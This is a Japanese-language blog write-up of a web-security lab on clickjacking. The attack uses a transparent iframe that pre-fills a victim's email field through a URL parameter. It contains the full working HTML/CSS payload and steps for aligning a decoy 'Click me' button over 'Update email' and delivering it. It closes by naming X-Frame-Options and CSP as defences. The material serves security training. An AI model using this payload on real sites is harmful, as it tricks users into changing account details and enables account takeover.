Shikata Ga Nai

Private? There is no such things.

LAB: フォーム入力のURLパラメータによる事前入力を利用したクリックジャッキング

Hello there, ('ω')ノ

概要

このラボでは、ユーザーが意図せずに自分のメールアドレスを攻撃者の指定したアドレスに変更してしまうような、クリックジャッキング攻撃を実施します。攻撃者は、透明なiframeを使用して、被害者が「Click me」と表示されたボタンをクリックすると、実際には「Update email」ボタンがクリックされるように仕掛けます。


攻撃手順

1. ターゲットサイトにログイン

  • 提供された資格情報 wiener:peter を使用して、ターゲットのウェブサイトにログインします。

2. エクスプロイトサーバーにアクセス

  • ラボの上部にある「Go to exploit server」リンクをクリックし、エクスプロイトサーバーに移動します。

3. HTMLテンプレートの作成

  • 以下のHTMLコードを「Body」セクションに貼り付けます。
  <style>
      iframe {
          position: relative;
          width: 700px;
          height: 600px;
          opacity: 0.1;
          z-index: 2;
      }
      div {
          position: absolute;
          top: 450px;
          left: 50px;
          z-index: 1;
      }
  </style>
  <div>Click me</div>
  <iframe src="https://YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
  • YOUR-LAB-ID を、ラボのURLに表示されている自分のラボIDに置き換えます。
  • hacker@attacker-website.com を、攻撃者が使用するメールアドレスに置き換えます。

4. iframeの位置と透明度の調整

  • iframeのopacity0.1に設定し、透明度を調整します。これにより、iframeの内容が薄く表示され、位置合わせが容易になります。
  • div要素のtopleftプロパティを調整して、「Click me」ボタンがターゲットの「Update email」ボタンと正確に重なるようにします。
  • 位置が正確に合ったら、opacity0.00001に設定して、iframeを完全に透明にします。

5. エクスプロイトの保存と確認

  • Store」ボタンをクリックして、エクスプロイトを保存します。
  • View exploit」をクリックして、エクスプロイトページを表示し、ボタンの位置が正しく重なっていることを確認します。

6. エクスプロイトの配信

  • Deliver exploit to victim」ボタンをクリックして、エクスプロイトを被害者に配信します。([Medium][1])

攻撃のポイントと注意点

  • メールアドレスの一意性: 攻撃で使用するメールアドレスは、他のユーザーと重複しない一意のものである必要があります。
  • 位置合わせの精度: 「Click me」ボタンと「Update email」ボタンが正確に重なるように、topleftの値を微調整してください。
  • 透明度の調整: 最終的な攻撃では、iframeを完全に透明にするために、opacityを非常に低い値(例: 0.00001)に設定します。

まとめ

このラボでは、クリックジャッキング攻撃を通じて、ユーザーが意図しない操作を行ってしまう脆弱性を学びました。特に、フォームの入力がURLパラメータで事前に設定できる場合、攻撃者はユーザーの操作を誘導して、情報を変更させることが可能です。クリックジャッキング対策として、X-Frame-OptionsヘッダーやContent Security Policy(CSP)の設定が重要であることも理解しておきましょう。

Best regards, (^^ゞ